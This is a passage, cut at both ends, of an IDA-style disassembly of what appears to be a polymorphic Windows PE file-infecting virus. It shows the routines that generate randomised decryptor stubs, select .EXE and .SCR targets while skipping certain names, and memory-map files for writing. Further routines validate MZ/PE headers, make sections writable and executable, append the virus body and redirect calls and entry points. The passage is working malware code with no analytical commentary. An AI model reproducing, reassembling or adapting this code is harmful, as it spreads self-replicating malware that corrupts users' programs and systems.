ebx, 0F358E97Dh jz short loc_3144A0C2 cmp ebx, 0E1253F46h jz short loc_3144A0C2 cmp ebx, 0E1253F30h jz short loc_3144A0C2 call dword ptr [ebp+403992h] loc_3144A0C2: ; CODE XREF: sub_31449FAC+D6j ; sub_31449FAC+DEj ... pop ebx jmp loc_3144A039 ; --------------------------------------------------------------------------- loc_3144A0C8: ; CODE XREF: sub_31449FAC+92j pop esi loc_3144A0C9: ; CODE XREF: sub_31449FAC+60j ; sub_31449FAC+6Cj add edx, 14h jmp loc_31449FC0 ; --------------------------------------------------------------------------- locret_3144A0D1: ; CODE XREF: sub_31449FAC+18j ; sub_31449FAC+22j retn sub_31449FAC endp ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_3144A0D3 proc near ; CODE XREF: .xur_:3144A211p ; .xur_:3144A237p push 4 pop eax call sub_314496F0 mov [ebp+4024D1h], dl mov ax, 1831h add ah, dl shl ah, 3 add ah, dl stosw push 6 pop eax call sub_314496F0 add edx, 8 xchg edx, ecx loc_3144A0FB: ; CODE XREF: sub_3144A0D3:loc_3144A13Aj push 5 pop eax call sub_314496F0 cmp dl, 3 jnb short loc_3144A113 mov al, 50h add al, [ebp+4024D1h] stosb jmp short loc_3144A13A ; --------------------------------------------------------------------------- loc_3144A113: ; CODE XREF: sub_3144A0D3+33j push 68h pop eax stosb cmp dl, 3 jnz short loc_3144A134 mov al, 11h call sub_314496F0 mov eax, 1 loc_3144A128: ; CODE XREF: sub_3144A0D3+5Dj test dl, dl jz short loc_3144A139 shl eax, 1 dec dl jmp short loc_3144A128 ; --------------------------------------------------------------------------- jmp short loc_3144A139 ; --------------------------------------------------------------------------- loc_3144A134: ; CODE XREF: sub_3144A0D3+47j mov eax, 80000000h loc_3144A139: ; CODE XREF: sub_3144A0D3+57j ; sub_3144A0D3+5Fj stosd loc_3144A13A: ; CODE XREF: sub_3144A0D3+3Ej loop loc_3144A0FB retn sub_3144A0D3 endp ; --------------------------------------------------------------------------- loc_3144A13D: ; CODE XREF: sub_3144AB97+112p lea edi, [ebp+40343Ch] test dword ptr [ebp+403431h], 80000000h jz short loc_3144A152 mov al, 60h stosb loc_3144A152: ; CODE XREF: .xur_:3144A14Dj test dword ptr [ebp+403431h], 1000003h jz loc_3144A258 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call near ptr 0EECE4D16h xchg eax, esi cmp [eax+0], eax mov al, 0E8h stosb stosd test dword ptr [ebp+403431h], 1000000h mov [ebp+40399Ah], edi jz short loc_3144A1D0 test dword ptr [ebp+403431h], 2000000h mov eax, 36FF6467h jnz short loc_3144A19B mov eax, 2E8B6467h loc_3144A19B: ; CODE XREF: .xur_:3144A194j stosd mov ax, 0 stosw jz short loc_3144A1A7 mov al, 5Dh stosb loc_3144A1A7: ; CODE XREF: .xur_:3144A1A2j test dword ptr [ebp+403431h], 8000000h mov eax, 86D8Dh jnz short loc_3144A1CE test dword ptr [ebp+403431h], 4000000h mov eax, 8C583h jz short loc_3144A1CE mov eax, 0F8ED83h loc_3144A1CE: ; CODE XREF: .xur_:3144A1B6j ; .xur_:3144A1C7j stosd dec edi loc_3144A1D0: ; CODE XREF: .xur_:3144A183j test dword ptr [ebp+403431h], 3 jz short loc_3144A1E0 mov al, 0E9h stosb stosd loc_3144A1E0: ; CODE XREF: .xur_:3144A1DAj mov eax, [ebp+403996h] mov ecx, edi sub ecx, eax mov [eax-4], ecx test dword ptr [ebp+403431h], 3 jz short loc_3144A258 mov eax, 36FF6467h mov [ebp+40399Eh], edi stosd mov eax, 64670000h stosd mov eax, 2689h stosd call sub_3144A0D3 mov al, 20h call sub_31449EEC jecxz short loc_3144A258 mov ax, 15FFh stosw xchg eax, ecx stosd mov edx, [ebp+403431h] not edx test edx, 3 jnz short loc_3144A24B call sub_3144A0D3 mov al, 1Fh call sub_31449EEC mov ax, 15FFh stosw xchg eax, ecx stosd loc_3144A24B: ; CODE XREF: .xur_:3144A235j mov ecx, edi mov eax, [ebp+40399Eh] sub ecx, eax mov [eax-4], ecx loc_3144A258: ; CODE XREF: .xur_:3144A15Cj ; .xur_:3144A1F7j ... test dword ptr [ebp+403431h], 4 jz short loc_3144A276 mov eax, 0C8FEC029h stosd mov eax, 474C008h stosd mov eax, 67EBF875h stosd loc_3144A276: ; CODE XREF: .xur_:3144A262j test dword ptr [ebp+403431h], 8 jnz short loc_3144A2CC cmp byte ptr [ebp+40342Fh], 0 jz short loc_3144A2CC mov eax, 0C9291829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosd mov al, 0B1h stosb mov al, [ebp+40342Fh] stosb mov al, 40h or al, [ebp+40342Bh] stosb mov ax, 0FDE2h test dword ptr [ebp+403431h], 10h jz short loc_3144A2CA mov al, 49h stosb mov ax, 0FC75h loc_3144A2CA: ; CODE XREF: .xur_:3144A2C1j stosw loc_3144A2CC: ; CODE XREF: .xur_:3144A280j ; .xur_:3144A289j mov al, 0E8h stosb xor eax, eax stosd mov [ebp+403982h], edi test dword ptr [ebp+403431h], 20h jnz short loc_3144A2ED mov al, 58h or al, [ebp+403429h] stosb loc_3144A2ED: ; CODE XREF: .xur_:3144A2E2j mov ax, 0C081h test dword ptr [ebp+403431h], 40h jz short loc_3144A300 add ah, 28h loc_3144A300: ; CODE XREF: .xur_:3144A2FBj or ah, [ebp+403429h] stosw mov [ebp+403986h], edi stosd test dword ptr [ebp+403431h], 40000000h jnz short loc_3144A324 mov al, 50h add al, [ebp+403429h] stosb loc_3144A324: ; CODE XREF: .xur_:3144A319j test dword ptr [ebp+403431h], 80h jnz short loc_3144A33B mov al, 0B8h or al, [ebp+40342Ah] stosb jmp short loc_3144A378 ; --------------------------------------------------------------------------- loc_3144A33B: ; CODE XREF: .xur_:3144A32Ej mov ax, 1831h test dword ptr [ebp+403431h], 100h jz short loc_3144A34D mov al, 29h loc_3144A34D: ; CODE XREF: .xur_:3144A349j or ah, [ebp+40342Ah] shl ah, 3 or ah, [ebp+40342Ah] stosw mov ax, 0F081h test dword ptr [ebp+403431h], 200h jnz short loc_3144A370 mov ah, 0C8h loc_3144A370: ; CODE XREF: .xur_:3144A36Cj or ah, [ebp+40342Ah] stosw loc_3144A378: ; CODE XREF: .xur_:3144A339j mov [ebp+4039A2h], edi mov eax, 243Ch stosd test dword ptr [ebp+403431h], 8 jz short loc_3144A3FC test dword ptr [ebp+403431h], 400h jnz short loc_3144A3A7 mov al, 0B8h or al, [ebp+40342Bh] stosb jmp short loc_3144A3F4 ; --------------------------------------------------------------------------- loc_3144A3A7: ; CODE XREF: .xur_:3144A39Aj test dword ptr [ebp+403431h], 800h jnz short loc_3144A3C4 mov ax, 0E083h or ah, [ebp+40342Bh] stosw xor eax, eax stosb jmp short loc_3144A3D9 ; --------------------------------------------------------------------------- loc_3144A3C4: ; CODE XREF: .xur_:3144A3B1j mov ax, 1829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosw loc_3144A3D9: ; CODE XREF: .xur_:3144A3C2j test dword ptr [ebp+403431h], 1000h mov ax, 0C081h jz short loc_3144A3EC add ah, 8 loc_3144A3EC: ; CODE XREF: .xur_:3144A3E7j or ah, [ebp+40342Bh] stosw loc_3144A3F4: ; CODE XREF: .xur_:3144A3A5j movzx eax, byte ptr [ebp+40342Fh] stosd loc_3144A3FC: ; CODE XREF: .xur_:3144A38Ej test dword ptr [ebp+403431h], 40000000h jz short loc_3144A411 mov al, 50h add al, [ebp+403429h] stosb loc_3144A411: ; CODE XREF: .xur_:3144A406j test dword ptr [ebp+403431h], 2000h mov al, 86h jnz short loc_3144A421 add al, 4 loc_3144A421: ; CODE XREF: .xur_:3144A41Dj lea ecx, [edi-2] mov ah, [ebp+403429h] mov [ebp+40398Ah], ecx stosw cmp ah, 5 jnz short loc_3144A43E mov al, 0 or byte ptr [edi-1], 40h stosb loc_3144A43E: ; CODE XREF: .xur_:3144A435j test dword ptr [ebp+403431h], 4000h mov ax, 3166h jnz short loc_3144A450 mov ah, 29h loc_3144A450: ; CODE XREF: .xur_:3144A44Cj stosw mov al, 18h or al, [ebp+40342Bh] shl al, 3 stosb mov al, 88h test dword ptr [ebp+403431h], 8000h jnz short loc_3144A46E mov al, 86h loc_3144A46E: ; CODE XREF: .xur_:3144A46Aj mov ah, [ebp+403429h] stosw cmp ah, 5 jnz short loc_3144A482 mov al, 0 or byte ptr [edi-1], 40h stosb loc_3144A482: ; CODE XREF: .xur_:3144A479j test dword ptr [ebp+403431h], 10000h jnz short loc_3144A499 mov al, 40h or al, [ebp+403429h] stosb jmp short loc_3144A4A8 ; --------------------------------------------------------------------------- loc_3144A499: ; CODE XREF: .xur_:3144A48Cj mov ax, 0C083h or ah, [ebp+403429h] stosw mov al, 1 stosb loc_3144A4A8: ; CODE XREF: .xur_:3144A497j test dword ptr [ebp+403431h], 20000h jnz short loc_3144A4E3 test dword ptr [ebp+403431h], 40000h jnz short loc_3144A4DA mov al, 0C0h or al, [ebp+40342Bh] mov ah, [ebp+403430h] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_3144A4E2 ; --------------------------------------------------------------------------- loc_3144A4DA: ; CODE XREF: .xur_:3144A4BEj mov al, 40h or al, [ebp+40342Bh] loc_3144A4E2: ; CODE XREF: .xur_:3144A4D8j stosb loc_3144A4E3: ; CODE XREF: .xur_:3144A4B2j test dword ptr [ebp+403431h], 80000h jnz short loc_3144A4FF mov ax, 0E883h or ah, [ebp+40342Ah] stosw mov al, 1 jmp short loc_3144A507 ; --------------------------------------------------------------------------- loc_3144A4FF: ; CODE XREF: .xur_:3144A4EDj mov al, 48h or al, [ebp+40342Ah] loc_3144A507: ; CODE XREF: .xur_:3144A4FDj stosb test dword ptr [ebp+403431h], 100000h mov cl, 75h jnz short loc_3144A53B mov ax, 0F883h or ah, [ebp+40342Ah] stosw xor eax, eax stosb sub [ebp+40398Ah], edi test dword ptr [ebp+403431h], 200000h jnz short loc_3144A556 mov cl, 77h jmp short loc_3144A556 ; --------------------------------------------------------------------------- loc_3144A53B: ; CODE XREF: .xur_:3144A514j mov ax, 1809h or ah, [ebp+40342Ah] shl ah, 3 or ah, [ebp+40342Ah] stosw sub [ebp+40398Ah], edi loc_3144A556: ; CODE XREF: .xur_:3144A535j ; .xur_:3144A539j mov al, cl mov ah, [ebp+40398Ah] stosw mov al, 58h add al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 1000003h jz loc_3144A600 mov eax, 268B6467h mov ecx, [ebp+403431h] xor ecx, 2000000h test ecx, 3000000h jnz short loc_3144A597 mov eax, 2E876467h loc_3144A597: ; CODE XREF: .xur_:3144A590j stosd mov eax, 0 stosw jnz short loc_3144A5A7 mov ax, 0E58Bh stosw loc_3144A5A7: ; CODE XREF: .xur_:3144A59Fj mov eax, 68F6764h stosd xor eax, eax stosw test dword ptr [ebp+403431h], 1000000h jnz short loc_3144A5FD test dword ptr [ebp+403431h], 8000000h jz short loc_3144A5EF mov ax, 6C8Dh test dword ptr [ebp+403431h], 2000000h setnz cl or ah, cl stosw test cl, cl jnz short loc_3144A5EA mov ax, 424h stosw jmp short loc_3144A5FD ; --------------------------------------------------------------------------- loc_3144A5EA: ; CODE XREF: .xur_:3144A5E0j mov al, 8 stosb jmp short loc_3144A5FD ; --------------------------------------------------------------------------- loc_3144A5EF: ; CODE XREF: .xur_:3144A5C7j mov ax, 5D58h add al, [ebp+40342Bh] stosw jmp short loc_3144A600 ; --------------------------------------------------------------------------- loc_3144A5FD: ; CODE XREF: .xur_:3144A5BBj ; .xur_:3144A5E8j ... mov al, 0C9h stosb loc_3144A600: ; CODE XREF: .xur_:3144A573j ; .xur_:3144A5FBj test dword ptr [ebp+403431h], 80000000h jz short loc_3144A62C mov al, 7 sub al, [ebp+403429h] shl eax, 1Ah or eax, 240889h add ah, [ebp+403429h] shl ah, 3 add ah, 4 stosd mov al, 61h stosb loc_3144A62C: ; CODE XREF: .xur_:3144A60Aj mov ax, 0E0FFh or ah, [ebp+403429h] stosw test dword ptr [ebp+403431h], 20h jz short loc_3144A697 test dword ptr [ebp+403431h], 20000000h jz short loc_3144A65D loc_3144A650: ; CODE XREF: .xur_:3144A65Bj test edi, 3 jz short loc_3144A65D mov al, 90h stosb jmp short loc_3144A650 ; --------------------------------------------------------------------------- loc_3144A65D: ; CODE XREF: .xur_:3144A64Ej ; .xur_:3144A656j mov eax, edi mov ecx, [ebp+403982h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 400000h jz short loc_3144A68B mov ax, 0C350h or al, [ebp+403429h] jmp short loc_3144A695 ; --------------------------------------------------------------------------- loc_3144A68B: ; CODE XREF: .xur_:3144A67Dj mov ax, 0E0FFh or ah, [ebp+403429h] loc_3144A695: ; CODE XREF: .xur_:3144A689j stosw loc_3144A697: ; CODE XREF: .xur_:3144A642j test dword ptr [ebp+403431h], 1000003h jz short loc_3144A716 test dword ptr [ebp+403431h], 20000000h jz short loc_3144A6BC loc_3144A6AF: ; CODE XREF: .xur_:3144A6BAj test edi, 3 jz short loc_3144A6BC mov al, 90h stosb jmp short loc_3144A6AF ; --------------------------------------------------------------------------- loc_3144A6BC: ; CODE XREF: .xur_:3144A6ADj ; .xur_:3144A6B5j mov ecx, edi mov eax, [ebp+40399Ah] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+403431h], 800000h jnz short loc_3144A6E5 lea eax, [ebp+403429h] loc_3144A6DD: ; CODE XREF: .xur_:3144A6E3j mov cl, [eax] inc eax cmp cl, 3 jnb short loc_3144A6DD loc_3144A6E5: ; CODE XREF: .xur_:3144A6D5j lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_3144A6FA mov ax, 0C031h stosw loc_3144A6FA: ; CODE XREF: .xur_:3144A6F2j mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_3144A713 mov ax, 0C031h stosw loc_3144A713: ; CODE XREF: .xur_:3144A70Bj mov al, 0C3h stosb loc_3144A716: ; CODE XREF: .xur_:3144A6A1j lea eax, [ebp+40343Ch] test dword ptr [ebp+403431h], 10000000h jnz short loc_3144A72E push edi sub edi, eax pop eax jmp short loc_3144A747 ; --------------------------------------------------------------------------- loc_3144A72E: ; CODE XREF: .xur_:3144A726j mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+4039A2h] add [ebp+403982h], edx add [ecx], edi mov eax, [esp+4] loc_3144A747: ; CODE XREF: .xur_:3144A72Cj mov [ebp+40106Dh], edi mov edi, [ebp+403986h] sub eax, [ebp+403982h] test dword ptr [ebp+403431h], 40h jz short loc_3144A767 neg eax loc_3144A767: ; CODE XREF: .xur_:3144A763j stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_3144A76B proc near ; CODE XREF: sub_3144AB97+2A8p push esi push edi cmp dword ptr [ebp+4039AEh], 0 jz loc_3144A953 call near ptr loc_3144A78B+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_3144A78B: ; CODE XREF: sub_3144A76B+Fp add bh, bh sub_3144A76B endp ; sp-analysis failed xchg eax, ebp mov ds:85890040h, dh mov esi, 53004039h mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call sub_31449EA5 mov edx, [ebp+4039A6h] pop ebx add eax, [edx+0Ch] mov [ebp+4039C2h], eax add eax, [edx+8] mov [ebp+4039C6h], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call sub_31449EA5 mov edi, [ebp+4039A6h] push esi call sub_31449EA5 mov edx, [ebp+4039A6h] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_3144A953 jz loc_3144A953 add esi, [ebp+4039AAh] add esi, [ebp+403972h] ; START OF FUNCTION CHUNK FOR sub_3144A924 loc_3144A805: ; CODE XREF: sub_3144A924+29j lodsb cmp al, 0E8h jnz loc_3144A8B0 lea eax, [esi+4] sub eax, [ebp+403972h] add eax, [esi] push eax call sub_31449EA5 cmp dword ptr [ebp+4039A6h], 0 jnz short loc_3144A833 cmp eax, [edi+0Ch] jnb loc_3144A94C jmp short loc_3144A83F ; --------------------------------------------------------------------------- loc_3144A833: ; CODE XREF: sub_3144A924-FEj cmp [ebp+4039A6h], edx jnz loc_3144A94C loc_3144A83F: ; CODE XREF: sub_3144A924-F3j add eax, [ebp+403972h] cmp word ptr [eax], 25FFh jnz loc_3144A94C mov eax, [eax+2] sub eax, [ebx+34h] push eax call sub_31449EA5 cmp [ebp+4039A6h], edi jnz loc_3144A94C add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_3144A94C cmp eax, [edi+8] jnb loc_3144A94C loc_3144A888: ; CODE XREF: sub_3144A924+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+403972h] push edx push eax push dword ptr [ebp+4039BEh] call dword ptr [ebp+403548h] pop edx test eax, eax jnz loc_3144A962 jmp loc_3144A94C ; --------------------------------------------------------------------------- loc_3144A8B0: ; CODE XREF: sub_3144A924-11Cj cmp al, 0FFh jnz loc_3144A94C cmp byte ptr [esi], 15h jnz loc_3144A94C mov eax, [esi+1] sub eax, [ebx+34h] push eax call sub_31449EA5 cmp [ebp+4039A6h], edi jnz short loc_3144A94C add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov [ebp+4039CAh], eax mov eax, [eax] cmp eax, [ebp+4039C2h] jb short loc_3144A8F9 cmp eax, [ebp+4039C6h] jb short loc_3144A962 loc_3144A8F9: ; CODE XREF: sub_3144A924-35j cmp eax, 70000000h jb short loc_3144A937 call sub_3144A924 lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, [ebp+4039CAh] jnz short locret_3144A923 add esp, 10h push dword ptr [ecx] pop [esp-0Ch+arg_24] popa jmp short loc_3144A93E ; --------------------------------------------------------------------------- locret_3144A923: ; CODE XREF: sub_3144A924-Fj retn ; END OF FUNCTION CHUNK FOR sub_3144A924 ; =============== S U B R O U T I N E ======================================= sub_3144A924 proc near ; CODE XREF: sub_3144A924-24p var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 3144A805 SIZE 0000011F BYTES pop dword ptr [ebp+403992h] pusha mov esi, [ebp+403972h] call sub_31449FAC popa loc_3144A937: ; CODE XREF: sub_3144A924-26j test eax, 80000000h jnz short loc_3144A94C loc_3144A93E: ; CODE XREF: sub_3144A924-3j sub eax, [edi+0Ch] jb short loc_3144A94C cmp eax, [edi+8] jb loc_3144A888 loc_3144A94C: ; CODE XREF: sub_3144A924-F9j ; sub_3144A924-EBj ... dec ecx jnz loc_3144A805 loc_3144A953: ; CODE XREF: sub_3144A76B+9j ; .xur_:3144A7EDj ... mov edi, [esp-4+arg_0] and dword ptr [edi+2431h], 7FFFFFFFh jmp short loc_3144A99E ; --------------------------------------------------------------------------- loc_3144A962: ; CODE XREF: sub_3144A924-7Fj ; sub_3144A924-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+8+var_8] xchg eax, [ebp+4039AEh] lea edi, [ecx+2435h] add eax, [ebp+403972h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+52h], 5 mov [esi-4], eax loc_3144A99E: ; CODE XREF: sub_3144A924+3Cj pop edi pop esi retn sub_3144A924 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3144A9A1 proc near ; CODE XREF: .xur_:3144AB6Fp ; sub_3144AB97+127p lea esi, [ebp+40384Eh] push esi call dword ptr [ebp+40357Ch] cmp eax, 0FFFFFFFFh jz locret_3144AA72 mov [ebp+403952h], eax push 0 push esi call dword ptr [ebp+4035B4h] test eax, eax jz locret_3144AA72 sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr [ebp+40355Ch] cmp eax, 0FFFFFFFFh jz loc_3144AF2A mov [ebp+403956h], eax lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push eax call dword ptr [ebp+403584h] cmp eax, 0FFFFFFFFh jz loc_3144AF1E push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+403580h] cmp eax, 0FFFFFFFFh jz loc_3144AF1E mov [ebp+40396Ah], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+403956h] call dword ptr [ebp+403560h] test eax, eax jz loc_3144AF1E xor ecx, ecx mov [ebp+40396Eh], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+4035A0h] test eax, eax jz loc_3144AEF6 mov [ebp+403972h], eax locret_3144AA72: ; CODE XREF: sub_3144A9A1+10j ; sub_3144A9A1+27j ... retn sub_3144A9A1 endp ; =============== S U B R O U T I N E ======================================= sub_3144AA73 proc near ; CODE XREF: sub_3144AB97+117p ; sub_3144AB97+223p mov eax, 69CDh mov ecx, [ebx+38h] test dword ptr [ebp+403431h], 10000000h jnz short loc_3144AA8D add eax, [ebp+40106Dh] loc_3144AA8D: ; CODE XREF: sub_3144AA73+12j xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+40397Ah], eax mov eax, 243Bh mov ecx, [ebx+3Ch] add eax, [ebp+40106Dh] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+403976h], eax retn sub_3144AA73 endp ; =============== S U B R O U T I N E ======================================= sub_3144AAB8 proc near ; CODE XREF: sub_3144AB97:loc_3144ABE6p ; sub_3144AB97+13Dp movzx ecx, word ptr [ebx+6] stc loc_3144AABD: ; CODE XREF: sub_3144AAB8+23j jecxz short locret_3144AAF4 lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_3144AAF4 cmp dword ptr [edx+0Ch], 1 jb short loc_3144AABD mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+40396Ah] locret_3144AAF4: ; CODE XREF: sub_3144AAB8:loc_3144AABDj ; sub_3144AAB8+1Dj ... retn sub_3144AAB8 endp ; =============== S U B R O U T I N E ======================================= sub_3144AAF5 proc near ; CODE XREF: .xur_:3144AB81p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_3144AAF5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_3144AB02: ; CODE XREF: .xur_:3144AB23j mov ecx, edi jmp short loc_3144AB11 ; --------------------------------------------------------------------------- lea edi, [ebp+40384Eh] cld loc_3144AB0D: ; CODE XREF: .xur_:3144AB1Fj mov ebx, edi xor ecx, ecx loc_3144AB11: ; CODE XREF: .xur_:3144AB04j ; .xur_:3144AB27j lodsb cmp al, 61h jb short loc_3144AB1C cmp al, 7Ah ja short loc_3144AB1C sub al, 20h loc_3144AB1C: ; CODE XREF: .xur_:3144AB14j ; .xur_:3144AB18j stosb cmp al, 5Ch jz short loc_3144AB0D cmp al, 2Eh jz short loc_3144AB02 cmp al, 0 jnz short loc_3144AB11 jecxz short locret_3144AAF4 mov eax, [ecx] cmp eax, 455845h jz short loc_3144AB3F cmp eax, 524353h jnz locret_3144AA72 loc_3144AB3F: ; CODE XREF: .xur_:3144AB32j mov eax, [ebx] cmp eax, 434E4957h jz locret_3144AA72 cmp eax, 4E554357h jz locret_3144AA72 cmp eax, 32334357h jz locret_3144AA72 cmp eax, 4F545350h jz locret_3144AA72 xor ebx, ebx call sub_3144A9A1 jz locret_3144AA72 xor edx, edx call sub_3144AB97 call sub_3144AAF5 call $+5 pop ebp sub ebp, 402F8Ah jmp loc_3144AED4 ; =============== S U B R O U T I N E ======================================= sub_3144AB97 proc near ; CODE XREF: .xur_:3144AB7Cp var_14 = dword ptr -14h push dword ptr fs:[edx] mov esi, [ebp+403972h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_3144AED4 mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_3144AED4 test dword ptr [ebx+16h], 2000h jnz loc_3144AED4 test byte ptr [ebx+5Ch], 2 mov ecx, [esi+20h] jz loc_3144AED4 jecxz short loc_3144ABE6 cmp ecx, 101h jbe loc_3144AED4 loc_3144ABE6: ; CODE XREF: sub_3144AB97+41j call sub_3144AAB8 jb loc_3144AED4 mov ecx, [edx+10h] add ecx, [edx+0Ch] mov eax, 10000h push ecx call sub_314496F0 xor [ebp+40342Fh], dl mov cl, 20h xor [ebp+403430h], dh loc_3144AC10: ; CODE XREF: sub_3144AB97+92j push 20h dec cl pop eax js short loc_3144AC2B call sub_314496F0 test edx, edx setz dl shl edx, cl xor [ebp+403431h], edx jmp short loc_3144AC10 ; --------------------------------------------------------------------------- loc_3144AC2B: ; CODE XREF: sub_3144AB97+7Ej ; sub_3144AB97+CDj ... push 6 pop ecx loc_3144AC31: ; CODE XREF: sub_3144AB97+B8j push 6 pop eax call sub_314496F0 mov al, [ebp+403429h] xchg al, [edx+ebp+403429h] mov [ebp+403429h], al loop loc_3144AC31 test dword ptr [ebp+403431h], 8 jnz short loc_3144AC66 cmp byte ptr [ebp+40342Bh], 1 jz short loc_3144AC2B loc_3144AC66: ; CODE XREF: sub_3144AB97+C4j test dword ptr [ebp+403431h], 1000003h jz short loc_3144AC8D cmp byte ptr [ebp+403429h], 5 jz short loc_3144AC2B cmp byte ptr [ebp+40342Ah], 5 jz short loc_3144AC2B cmp byte ptr [ebp+40342Bh], 5 jz short loc_3144AC2B loc_3144AC8D: ; CODE XREF: sub_3144AB97+D9j test dword ptr [ebp+403431h], 80000000h jz short loc_3144ACA2 cmp byte ptr [ebp+403429h], 2 ja short loc_3144AC2B loc_3144ACA2: ; CODE XREF: sub_3144AB97+100j and dword ptr [ebp+4039AEh], 0 call loc_3144A13D call sub_3144AA73 call sub_3144AEDD mov ebx, [ebp+403976h] call sub_3144A9A1 jz loc_3144AED4 mov esi, [ebp+403972h] mov ebx, [esi+3Ch] add ebx, esi call sub_3144AAB8 jb loc_3144AED4 or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+403431h], 10000000h jnz short loc_3144AD0A lea esi, [ebp+40343Ch] mov ecx, [ebp+40106Dh] rep movsb loc_3144AD0A: ; CODE XREF: sub_3144AB97+163j push edi mov ecx, 90Fh lea esi, [ebp+401000h] rep movsd mov cl, 0 jecxz short loc_3144AD1E rep movsb loc_3144AD1E: ; CODE XREF: sub_3144AB97+183j test dword ptr [ebp+403431h], 10000000h jz loc_3144ADD6 push dword ptr [ebx+28h] call sub_31449EA5 mov edx, [ebp+4039A6h] test edx, edx jz loc_3144ADD6 mov esi, [ebp+403972h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_3144AD5B xor ecx, ecx loc_3144AD5B: ; CODE XREF: sub_3144AB97+1C0j add esi, [edx+14h] cmp ecx, [ebp+40106Dh] mov ecx, [ebp+40106Dh] jb short loc_3144ADC2 mov edi, [esp+14h+var_14] and dword ptr [ebp+40106Dh], 0 and dword ptr [edi+6Dh], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, [ebp+403986h] test dword ptr [ebp+403431h], 40h jz short loc_3144AD9B neg dword ptr [eax] loc_3144AD9B: ; CODE XREF: sub_3144AB97+200j add esi, [edx+0Ch] sub [eax], esi mov [ebp+4039AEh], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+403431h], 40h jz short loc_3144ADB9 neg dword ptr [eax] loc_3144ADB9: ; CODE XREF: sub_3144AB97+21Ej push ecx call sub_3144AA73 pop ecx jmp short loc_3144ADCE ; --------------------------------------------------------------------------- loc_3144ADC2: ; CODE XREF: sub_3144AB97+1D3j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_3144ADCE: ; CODE XREF: sub_3144AB97+229j lea esi, [ebp+40343Ch] rep movsb loc_3144ADD6: ; CODE XREF: sub_3144AB97+191j ; sub_3144AB97+1A7j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+1D2h] cmp dl, [ebp+40342Fh] jnz short loc_3144ADEF imul edx, 12345678h loc_3144ADEF: ; CODE XREF: sub_3144AB97+250j mov [eax-1], dl call near ptr dword_31448C00+1C3h pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+403431h], 10000000h lea eax, [ecx+6] jnz short loc_3144AE20 mov [ebp+4039AEh], ecx add eax, [ebp+40106Dh] and dword ptr [edi+6Dh], 0 loc_3144AE20: ; CODE XREF: sub_3144AB97+274j sub eax, [ebx+28h] push dword ptr [ebp+40397Eh] mov [edi+52h], eax pop dword ptr [esi+20h] test dword ptr [ebp+403431h], 80000000h jz short loc_3144AE45 push edx call sub_3144A76B pop edx loc_3144AE45: ; CODE XREF: sub_3144AB97+2A5j mov ecx, [ebp+4039AEh] jecxz short loc_3144AE50 mov [ebx+28h], ecx loc_3144AE50: ; CODE XREF: sub_3144AB97+2B4j mov ecx, [edx+10h] mov eax, [ebp+403976h] cmp [edx+8], ecx jnb short loc_3144AE61 mov [edx+8], ecx loc_3144AE61: ; CODE XREF: sub_3144AB97+2C5j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+40397Ah] push 243Ch add [edx+8], eax pop ecx add 